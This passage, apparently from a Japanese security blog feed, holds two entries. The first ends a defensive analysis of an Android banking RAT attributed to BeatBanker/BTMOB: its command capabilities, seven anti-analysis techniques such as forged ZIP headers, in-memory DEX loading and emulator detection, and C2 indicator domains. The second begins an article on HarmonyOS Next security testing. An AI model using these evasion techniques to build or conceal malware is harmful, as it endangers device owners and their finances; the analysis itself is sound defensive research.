&lt;td&gt;screen / scread&lt;/td&gt;
&lt;td&gt;画面のライブキャプチャとストリーミング&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;upload&lt;/td&gt;
&lt;td&gt;C2へのファイルの持ち出し&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bot&lt;/td&gt;
&lt;td&gt;アクセシビリティによる自動操作（タップ、スワイプ、入力）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;brows&lt;/td&gt;
&lt;td&gt;ブラウザーセッションの制御（Chrome、Firefox、Samsung Browser、Brave、Opera、Edge、DuckDuckGo）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;clip&lt;/td&gt;
&lt;td&gt;クリップボードの読み書き&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;file / srh&lt;/td&gt;
&lt;td&gt;カテゴリ別のファイル検索、コピー、移動&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;loc&lt;/td&gt;
&lt;td&gt;端末の位置情報&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mic&lt;/td&gt;
&lt;td&gt;マイクへのアクセス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sms&lt;/td&gt;
&lt;td&gt;SMSの読み取りと送信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;net / trm&lt;/td&gt;
&lt;td&gt;ネットワークシェル／telnetのようなリモート実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;miner&lt;/td&gt;
&lt;td&gt;マイナーの開始／停止の制御&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lock&lt;/td&gt;
&lt;td&gt;端末のロック／ブロッカー画面&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;red&lt;/td&gt;
&lt;td&gt;リダイレクト／再設定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DDS&lt;/td&gt;
&lt;td&gt;DoS／フラッディングエンジンのコントローラー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;calf&lt;/td&gt;
&lt;td&gt;着信転送&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ject / lject&lt;/td&gt;
&lt;td&gt;コードインジェクションのヘルパー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;update&lt;/td&gt;
&lt;td&gt;ペイロードの自己更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;clone&lt;/td&gt;
&lt;td&gt;アプリの複製&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;optns&lt;/td&gt;
&lt;td&gt;実行時の設定の更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;add&lt;/td&gt;
&lt;td&gt;端末のインベントリ／テレメトリのスナップショット&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;spng&lt;/td&gt;
&lt;td&gt;スパイウェアの状態のスナップショット（キーログのバッファー、アクティブなURL、通知ストリーム、監視の状態）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;blker&lt;/td&gt;
&lt;td&gt;ブロッカーの制御（SMS／通話のブロックの状態機械）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;wrk&lt;/td&gt;
&lt;td&gt;内部のバックグラウンドワーカー用パケットバス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;chat&lt;/td&gt;
&lt;td&gt;端末上のチャットアクティビティを起動&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fetch&lt;/td&gt;
&lt;td&gt;アクティブなSIMの電話番号を列挙、または任意のファイルをダウンロード&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bc&lt;/td&gt;
&lt;td&gt;ユーザー向けのアラート／通知のフローを駆動&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tols&lt;/td&gt;
&lt;td&gt;汎用のユーティリティ操作：トースト表示、URLを開く、テキスト読み上げ、ライトの制御、音量の変更&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;検知回避のための副次的な能力：ads.txtによるホストのブロックリスト&lt;/strong&gt;：ペイロードにはXORでエンコードされたassets/ads.txtが同梱されており、デコードすると約75,873件の広告・分析用ホスト名のリストになります。これはcofsbfpmyxowwueaアクティビティ（WebViewのルアーのホスト）が使用し、WebViewで描画されるコンテンツから広告・分析のネットワークリクエストを除外します。ルアーページは、二次的なネットワークシグナルを生みかねないサードパーティのノイズなしに、きれいに描画されます。&lt;/p&gt;
&lt;p&gt;Stage 4は、ビジネスへの影響が現実のものとなる段階です。不正のためのツールキットは完備されています。OTPの傍受、アクセシビリティによる取引の操作、画面のライブ監視、フィッシングオーバーレイの配信、そして不正の実行中の通話／SMSのブロック（blker）です。検知にはネットワークの検査ではなくエンドポイントの可視性が必要です。ハードコードされたフォールバックIPをブロックしても、実行時に再設定可能な主要C2は断ち切れません。&lt;/p&gt;
&lt;h2 id="解析妨害の手法"&gt;解析妨害の手法&lt;/h2&gt;
&lt;p&gt;このサンプルは、アナリストが自然と最初に取りかかるあらゆるレイヤーで、解析に抵抗するように設計されています。サンプルからは7つの手法が見つかりました。個々にはささやかなものですが、合わせると、解析コストを大幅に引き上げる多層防御の態勢となっています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;偽装されたZIPメタデータ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;外側のAPKは、仕様の文言どおりには有効なZIPアーカイブではありません。resources.arscとAndroidManifest.xmlの両方で、ローカルファイルヘッダーが暗号化済みとしてマークされ、未定義の圧縮方式（それぞれ0x598Fと0x8DCF。どちらも標準のZIPの方式ではありません）が使われ、圧縮後のサイズがゼロと宣言されています。それにもかかわらず、各エントリの実際のデータは生のバイトとしてヘッダーの後に続いています。&lt;/p&gt;
&lt;p&gt;標準のAndroidツールはZIPの準拠性に厳格であるため、これらのエントリは解析の失敗や構造の誤報告を引き起こします。apktoolとaaptはどちらもアーカイブを正しく処理できません。通常の静的解析ツールでAPKを扱えるようにするには、ZIPの中央ディレクトリを手動で調べ、不正な形式のヘッダーを書き換える必要があります。一方、Android自身の実行時ローダーはアーカイブを受け入れられるほど寛容で、アプリは通常どおりインストールされます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ネイティブブートストラップのアーキテクチャ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;外側のAPKに注入されたApplicationサブクラスの重要なライフサイクルメソッド（attachBaseContextとonCreate）はnativeとして宣言され、ARMの共有ライブラリ（libmetaspermousdevitrifiednoiseful.so）内で完全に実装されています。同じパターンは、liblixhokfsmav.soを基盤とするStage 3のヘルパーのc6xmV4.java Applicationサブクラスでも再利用されています。JADXやその他のJavaレイヤーのデコンパイラーがこれらのクラスを読み込んでも、空のメソッドシグネチャしか見えません。解析すべきバイトコードもロジックもありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;段階的なペイロードの暗号化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;各段階の本当のペイロードは、前の段階のassets/ディレクトリに高エントロピーの暗号化ブロブとして保存されており、ファイル名は識別可能なファイル形式ではなく、意味のないアセット識別子に見えるように選ばれています。2種類の暗号方式が使われています。ブートストラップDEXには繰り返しXOR、下流のAPKとZIPアーカイブには、アセットのベース名からSHA-1の切り詰めによって導出した128ビット鍵を用いるAES/CBC/PKCS5Paddingです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;インメモリDEX読み込み&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;復号されたペイロードのDEXは、スキャナーが監視するディスク上のパスに書き込まれることはありません。代わりに、ブートストラップのコードがクラスローダーへのパッチ適用を行います。古いAndroid APIレベルでは親クラスローダーのdexElements配列をリフレクションで操作し、API 29以降ではmakeInMemoryDexElementsを直接呼び出します。段階的に展開されたペイロードは完全なAndroidアプリケーションとして実行されますが、標準のストレージパスにインストール済みのAPKやディスク上のDEXファイルとして現れることはありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;階層化された文字列の難読化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2つの異なる文字列難読化ラッパーが並行して使用されています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;rf0.a()&lt;/strong&gt;：単純な繰り返しXOR暗号。実行時の復号を低コストにする必要がある、大量の文字列に使用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;s00.a()&lt;/strong&gt;：PBKDF2WithHmacSHA1を65,536回反復して導出した128ビット鍵を用いるAES/CBC/PKCS5Padding。URL、コマンド名、標的のパッケージパターンなど、運用上機微な文字列のために確保されています。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この階層化は、熟慮された防御であることを示しています。作成者は、コストの高いAES-PBKDF2を最も重要な文字列のために確保し、残りは低コストのXORで処理しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エミュレーター検知&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;主要なActivityクラスczjjzmkujklは、106行目でp0.javaの3つのヘルパーメソッド、p0.f0()、p0.m0()、p0.o0()を参照してエミュレーター検知を行います。各メソッドはBuild.BRANDを難読化されたブランド文字列と照合し、一般的なエミュレーターのフィンガープリントを識別します。検知時の挙動は、&lt;strong&gt;強制的なクラッシュや即時の終了ではありません。&lt;/strong&gt;検知結果は2つの設定ブロブのどちらを選ぶかに使われ、エミュレーターが検知された場合、サンプルは通常のブロブではなく代替のブロブで処理を続けます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;まとめの所見&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;このサンプルの解析妨害の設計のうち、2つの側面は特筆に値するほど特徴的です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ZIPの偽装は局所的で精密&lt;/strong&gt;：外側のAPKで偽装されたメタデータを持つのは、resources.arscとAndroidManifest.xmlの2つのエントリ（方式0x598Fと0x8DCF）だけです。他のエントリはすべて有効です。この2ファイルだけを狙った精密なパターンは、BeatBanker / BTMOBのサンプル全体にわたるファミリーの指標として役立つほど特徴的です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AES鍵の導出はアナリストにも再現可能&lt;/strong&gt;：Stage 3のDexLoaderは、SHA-1(basename_of_asset_path)[:16]を計算して128ビット鍵を導出します。鍵はネイティブライブラリ内の秘密の素材ではなくファイル名から導出されるため、暗号化されたアセットを入手したアナリストなら誰でも、ネイティブコードをリバースエンジニアリングすることなく鍵を導出できます。ここでの暗号化は、意欲のある解析に対する本当の障壁ではなく、スキャナーに対する障害物として機能しているにすぎません。&lt;/p&gt;
&lt;h2 id="帰属:beatbanker / btmob"&gt;帰属：BeatBanker / BTMOB&lt;/h2&gt;
&lt;h3 id="クラスターの背景"&gt;クラスターの背景&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;BeatBanker&lt;/strong&gt;と&lt;strong&gt;BTMOB&lt;/strong&gt;は、複数の独立した脅威リサーチの情報源で文書化されている、別個ながら関連するAndroidマルウェアファミリーです。BeatBankerは、KasperskyのSecurelistが文書化しBleepingComputerが要約したもので、トロイの木馬化されたユーティリティアプリケーションを通じて配信される、段階的なAndroidのバンキング型／マイナー型プラットフォームです。BTMOBはRATファミリーであり、CybleによってSpySolrの進化形として独自に文書化されています。最近のBeatBankerのサンプルは、以前のバンキングモジュールに代えてBTMOBを展開しています。&lt;/p&gt;
&lt;p&gt;公開されている情報源：
- Securelist（Kaspersky）：&lt;em&gt;BeatBanker miner and banker&lt;/em&gt;：https://securelist.com/beatbanker-miner-and-banker/119121/
- BleepingComputer：&lt;em&gt;New BeatBanker Android malware poses as Starlink app to hijack devices&lt;/em&gt;：https://www.bleepingcomputer.com/news/security/new-beatbanker-android-malware-poses-as-starlink-app-to-hijack-devices/
- Cyble：&lt;em&gt;BTMOB RAT: Newly discovered Android malware&lt;/em&gt;：https://cyble.com/blog/btmob-rat-newly-discovered-android-malware/&lt;/p&gt;
&lt;p&gt;BeatBankerクラスターの代表的な特徴には、トロイの木馬化されたユーティリティアプリケーションによる段階的なAPK配信、ネイティブコードによるブートストラップチェーン、Firebaseベースのコマンドと起動のシグナリング、下流のペイロードでのアクセシビリティサービスの悪用、そして二次的な収益化チャネルとしての暗号資産マイナーの並行展開があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;インフラの指標&lt;/strong&gt;&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;指標&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;BeatBanker / BTMOBとの関連&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;accessor.fud2026.com&lt;/td&gt;
&lt;td&gt;Securelistの公開レポートで個別に言及&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;accessor.fud2026.org&lt;/td&gt;
&lt;td&gt;公開レポートでは個別に言及されていない。このサンプルからのみ復元（報告された.comと同じドメインファミリー）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pool.fud2026.com&lt;/td&gt;
&lt;td&gt;Securelistの公開レポートで個別に言及&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pool.fud2026.com:8443&lt;/td&gt;
&lt;td&gt;報告された.comと同じドメインファミリー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pool-proxy.fud2026.com:8443&lt;/td&gt;
&lt;td&gt;Securelistの公開レポートで個別に言及&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aptabase.khwdji319.xyz:8443&lt;/td&gt;
&lt;td&gt;公に報告されたBeatBankerのテレメトリクラスターに含まれる&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;fud2026.*のドメインファミリーは、単独の指標としては最も強力な帰属の根拠です。このサンプル内の複数の役割（ダウンローダー、プール、プールのプロキシ）に現れ、BeatBankerクラスターに関する公開レポートで名指しされている指標でもあります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;振る舞いの一貫性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;このサンプルのアーキテクチャと運用のパターンは、主要なあらゆる側面で、公に文書化されているBeatBanker / BTMOBの特徴と一致しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;トロイの木馬化されたユーティリティアプリケーションによる段階的なAPK配信&lt;/strong&gt;（Stage 1、LumoLight）&lt;/li&gt;
&lt;li&gt;複数の段階にわたる&lt;strong&gt;attachBaseContextとonCreateを横取りするネイティブコードのブートストラップ&lt;/strong&gt;（Stage 1とStage 3）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;起動とタスク指示のチャネルとしてのFirebase Cloud Messaging&lt;/strong&gt;（Stage 2）&lt;/li&gt;
&lt;li&gt;権限昇格を得る主要な手段としての&lt;strong&gt;偽のセットアップ、VPN、アクセシビリティ有効化のルアーフロー&lt;/strong&gt;（Stage 4）&lt;/li&gt;
&lt;li&gt;二次的な収益化チャネルとしての&lt;strong&gt;暗号資産マイナーの並行展開&lt;/strong&gt;（Stage 3）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらはそれぞれ、BeatBankerクラスターに関する公開レポートで個別に文書化されています。5つすべてが同じサンプル内に、しかも同じ順序とアーキテクチャ上の関係で存在していること自体が、インフラの重複とは独立して、ファミリーへの所属を示す指標となっています。&lt;/p&gt;
&lt;h2 id="結論"&gt;結論&lt;/h2&gt;
&lt;p&gt;TV_V_23.apkは単独のアプリケーションではありません。感染端末上で長期間生き延びるように作られた、継続的かつ専門的に設計された脅威アクターの運用の構成要素です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アーキテクチャのパターンこそが識別子&lt;/strong&gt;：パッケージ名、鍵、C2のエンドポイント、ルアーのHTMLは、いずれもプラットフォームを書き直すことなく入れ替えられます。簡単には入れ替えられないのはアーキテクチャです。トロイの木馬化されたユーティリティの外層、暗号化された段階的ペイロードを伴うネイティブブートストラップ、Firebaseベースの起動、アクセシビリティによる標的設定を備えた分割APKのオペレーター用ペイロード、マイナーによる並行した収益化、階層化された文字列の難読化、実行時に設定可能なC2です。検知エンジニアリングは、アーティファクトではなくアーキテクチャを対象とすべきです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脅威の対象領域は技術的なものではなく振る舞いにある&lt;/strong&gt;：悪用された脆弱性はありません。すべての能力は、改変されていない端末上で被害者が付与した権限を通じて提供されます。パッチ適用やOSの堅牢化は適切な対抗策ではありません。適切なのは、アクセシビリティの悪用の振る舞いに基づく検知、バンキングアプリのログイン時の端末の完全性の証明、取引操作のパターンに対する異常検知、そしてこのファミリーの手口に合わせて調整した顧客教育です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脅威は再発する&lt;/strong&gt;：BeatBanker / BTMOBは、サンプルやインフラの世代をまたいで継続性を持っています。ハードコードされた標的設定がないことこそ、オペレーターがいつでもあらゆる金融機関を標的にし直せる仕組みです。報告されたインシデントで影響を受けた顧客が最後になる可能性は低いでしょう。今回の対応を、継続的な取り組みの最初の一手ではなく一度きりの修復として扱うことは、計画上の誤りとなります。&lt;/p&gt;
&lt;p&gt;このマルウェアの強みは構造的なものであり、防御側の強みもそうでなければなりません。キャンペーンが成熟するにつれて、個別の点での防御の価値は薄れていくでしょう。&lt;/p&gt;</content><category term="Security"/><category term="android"/><category term="mobile security"/><category term="malware analysis"/><category term="reverse engineering"/></entry><entry><title>HarmonyOS Nextのセキュリティテスト：ツールとリスク</title><link href="https://blog.ostorlab.co/ja/harmonyos-security-testing.html" rel="alternate"/><published>2026-04-28T12:00:00+02:00</published><updated>2026-09-28T00:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-04-28:/ja/harmonyos-security-testing.html</id><summary type="html">&lt;p&gt;HarmonyOS NextのセキュリティテストがAndroidとどう異なるか。ArkTS、DSoftBus、テストツール、SafetyDetect、ArkGuard、よくある不備、そしてOWASP MASVSへのマッピングを解説します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HarmonyOS&lt;/strong&gt;を稼働する端末が10億台近くに達するなか、モバイルアプリケーションに携わる多くのチームにとって、セキュリティテストは不可欠なものになりました。しかし、&lt;strong&gt;HarmonyOS Next&lt;/strong&gt;の登場によって大きな転換が起きています。&lt;strong&gt;Androidとの互換性がもはや含まれていない&lt;/strong&gt;のです。これが重要なのは、このシステムが、ほとんどのセキュリティツールが前提とするAndroidのランタイムやフレームワークにもはや依存していないことを意味するからです。その結果、多くのAndroid向けテストツールは動作しなくなるか、不完全な結果しか出せなくなります。だからこそ、セキュリティテストには、Androidをベースとした挙動を前提とするのではなく、HarmonyOS専用に設計されたアプローチが必要になっているのです。&lt;/p&gt;
&lt;h2 id="harmonyos nextとは"&gt;HarmonyOS Nextとは&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HarmonyOS Next（HarmonyOS 5.0）&lt;/strong&gt;は、2024年にリリースされたHuaweiの最新バージョンの一つで、&lt;strong&gt;Androidから離れ&lt;/strong&gt;、完全に独立したオペレーティングシステムになりました。それ以前のHarmonyOSのバージョンには依然としてAndroidのコンポーネントが含まれており、Androidアプリを動作させることができました。しかし、HarmonyOS Nextはこの互換性を完全に取り除いています。これは、独自のカーネル（HongMeng）を含め、すべてがHuawei自身のシステム上に構築されています。その結果、Androidアプリはもはやサポートされず、HarmonyOS向けに専用開発されたアプリケーション（.app）のみが動作します。&lt;/p&gt;
&lt;h2 id="harmonyos nextのセキュリティテストがandroidと異なる理由"&gt;HarmonyOS NextのセキュリティテストがAndroidと異なる理由&lt;/h2&gt;
&lt;p&gt;HarmonyOSは、アプリストア（AppGallery）、権限システム、ネイティブコードのサポートなど、表面的にはAndroidと似通った点があります。しかし、その内部アーキテクチャはまったく異なっており、それがセキュリティテストの進め方に直接影響します。&lt;/p&gt;
&lt;h3 id="アプリケーションのランタイムとarkts"&gt;アプリケーションのランタイムとArkTS&lt;/h3&gt;
&lt;p&gt;HarmonyOSアプリケーションは、&lt;strong&gt;ArkTS（Ark TypeScript）&lt;/strong&gt;を使って構築されます。これは、&lt;strong&gt;ArkUIフレームワーク&lt;/strong&gt;を通じてアプリを構築するためにHuaweiが設計した、TypeScriptベースの言語です。宣言的なUIのアプローチを採用しており、開発者はレンダリングの各ステップを手作業で制御するのではなく、インターフェースがどう見えるべきかを記述します。&lt;/p&gt;
&lt;p&gt;ArkTSアプリケーションは、AndroidのDEXバイトコードにコンパイルされる代わりに、&lt;strong&gt;Pandaバイトコード（.abc）&lt;/strong&gt;にコンパイルされます。これにより、Androidのセキュリティツールは&lt;strong&gt;すべて&lt;/strong&gt;互換性を失います。Java/Kotlin向けに作られた静的解析ツールも、DEXファイル向けに設計されたリバースエンジニアリングのワークフローも、ここではそのままは通用しません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="AndroidとHarmonyOSを並べて比較した図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_04_27_harmonyos_security _testing_pillar_article/android-vs-harmonyOS.png" title="Android vs HarmonyOS architecture"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Android vs HarmonyOS architecture&lt;/figcaption&gt;&lt;/figure&gt; &lt;/p&gt;
&lt;h3 id="プロセス間通信とdsoftbus"&gt;プロセス間通信とDSoftBus&lt;/h3&gt;
&lt;p&gt;HarmonyOSは、AndroidのBinderシステムの代わりに、&lt;strong&gt;端末をまたぐ連携&lt;/strong&gt;のために設計された通信レイヤーである&lt;strong&gt;DSoftBus&lt;/strong&gt;を使用します。&lt;/p&gt;
&lt;p&gt;これにより、モデルは1台のスマートフォン内でアプリがやり取りするものから、複数の端末にまたがってアプリやサービスが連携するものへと変わります。そのため、セキュリティテストはもはや単一の端末だけを切り離して扱うものではなく、接続された端末間でデータがどう移動するかも対象になります。&lt;/p&gt;
&lt;p&gt;HarmonyOSにおける最大の転換は、&lt;strong&gt;複数の端末が連携して動作する&lt;/strong&gt;ことを中心に設計されている点です。&lt;/p&gt;
&lt;p&gt;スマートフォン、タブレット、ウォッチがそれぞれ別個の環境であるAndroidとは異なり、HarmonyOSはアプリやサービスを&lt;strong&gt;スマートフォン、タブレット、ウォッチ、テレビ、その他の接続された端末&lt;/strong&gt;にまたがって動作させることができます。&lt;/p&gt;
&lt;p&gt;これは、アタックサーフェスが&lt;strong&gt;もはや1台の端末に限定されない&lt;/strong&gt;ことを意味します。端末同士が互いを信頼し、データを共有するときに何が起きるかにも対処しなければなりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HarmonyOSの権限&lt;/strong&gt;もまた、1台の端末にとどまらず、複数の端末にまたがって広がり得ます。&lt;/p&gt;
&lt;p&gt;つまり、アプリはスマートフォン本体上のものへのアクセスを求めるだけでなく、エコシステム内のほかの接続された端末に関わる機能へのアクセスを求めることもあります。そのため権限の挙動は把握しづらくなり、慎重に確認しなければ悪用されやすくなります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="AndroidのBinder IPCとHarmonyOSのDSoftBus IPCを並べて比較した図" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_04_27_harmonyos_security _testing_pillar_article/Android-Binder-IPC-vs-HarmonyOS-DSoftBus-IPC.png" title="Android Binder IPC vs HarmonyOS DSoftBus IPC"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Android Binder IPC vs HarmonyOS DSoftBus IPC&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="harmonyos nextのセキュリティテストツール"&gt;&lt;strong&gt;HarmonyOS NEXTのセキュリティテストツール&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;HarmonyOSのセキュリティテストツールは、成熟したAndroidのエコシステムと比べると、まだ初期の開発段階にあります。今日利用できる最も重要なツールをいくつか紹介します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr style="background-color: #f5f5f5;"&gt;
&lt;th style="width: 20%"&gt;カテゴリ&lt;/th&gt;
&lt;th style="width: 20%"&gt;ツール / リソース&lt;/th&gt;
&lt;th style="width: 15%"&gt;主な目的&lt;/th&gt;
&lt;th style="width: 25%"&gt;主な機能&lt;/th&gt;
&lt;th style="width: 20%"&gt;制約&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td rowspan="3"&gt;&lt;strong&gt;Huawei公式ツール&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AppGallery Cloud Testing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自動化されたベースラインチェック&lt;/td&gt;
&lt;td&gt;既知の設定上の問題や脆弱性パターンをチェックします。&lt;/td&gt;
&lt;td&gt;綿密なまたは手動のセキュリティ評価の代替にはなりません。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DevEco Studio&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;統合開発環境（IDE）&lt;/td&gt;
&lt;td&gt;デバッグユーティリティ、端末エミュレーター、パフォーマンスプロファイラー。&lt;/td&gt;
&lt;td&gt;専用のセキュリティ解析向けの組み込みSASTやDASTを備えていません。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;バグバウンティプログラム&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;外部のセキュリティ研究&lt;/td&gt;
&lt;td&gt;独立した研究者が脆弱性を見つけて報告するよう促します。&lt;/td&gt;
&lt;td&gt;社内での継続的または自動化されたテストのワークフローには適しません。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td rowspan="2"&gt;&lt;strong&gt;コミュニティおよび新興のツール&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ArkTS Decompilers&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;リバースエンジニアリング&lt;/td&gt;
&lt;td&gt;コンパイル済みのコードやアプリケーションのロジックを調査できます。&lt;/td&gt;
&lt;td&gt;初期段階の開発。手動での設定が必要です。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ファジングユーティリティ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IPCのセキュリティテスト&lt;/td&gt;
&lt;td&gt;プロセス間通信をテストし、クラッシュや脆弱性を調べます。&lt;/td&gt;
&lt;td&gt;安定性やCI/CD連携を欠くことが多いです。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;セキュリティテストプラットフォーム&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自動脆弱性スキャナー&lt;/td&gt;
&lt;td&gt;ArkTS/.abcのアーティファクトを含むHarmonyOSアプリケーションの自動解析。よくあるセキュリティ上の問題や設定ミスを検出し、セキュリティテストのワークフローに組み込めます。&lt;/td&gt;
&lt;td&gt;手動のセキュリティレビューを補完しますが、代替にはなりません。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="ostorlabによるharmonyosおよびhuawei appgalleryの自動脆弱性スキャン"&gt;OstorlabによるHarmonyOSおよびHuawei AppGalleryの自動脆弱性スキャン&lt;/h3&gt;
&lt;p&gt;手動テストを補完し、既存のツールのギャップを埋めるために、自動スキャンはHarmonyOS固有のリスクに対して一貫した反復可能なカバレッジを提供できます。&lt;/p&gt;
&lt;p&gt;反復可能でスケーラブルなカバレッジを必要とするチームに対して、&lt;strong&gt;Ostorlabの脆弱性スキャナーはHarmonyOSアプリとHuawei AppGalleryのスキャンに直接対応しています&lt;/strong&gt;。スキャンは、次のようなHarmonyOS固有のリスククラスを対象とします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エクスポートされたAbilityの乗っ取りと、暗黙的なWantの傍受  &lt;/li&gt;
&lt;li&gt;Distributed Soft Busの悪用（端末をまたぐデータ漏えい、リモートからのAbilityの呼び出し）  &lt;/li&gt;
&lt;li&gt;ArkUI WebView経由のJavaScriptインターフェースインジェクション  &lt;/li&gt;
&lt;li&gt;暗号化のないPreferencesやRDBへの安全でないデータ保存  &lt;/li&gt;
&lt;li&gt;HUKSをバイパスするハードコードされた鍵と脆弱な暗号  &lt;/li&gt;
&lt;li&gt;ネイティブのNAPIモジュールにおけるバッファオーバーフローとuse-after-free  &lt;/li&gt;
&lt;li&gt;サプライチェーンにおける脆弱なサードパーティのHAR/HAPパッケージ&lt;/li&gt;
&lt;/ul&gt;
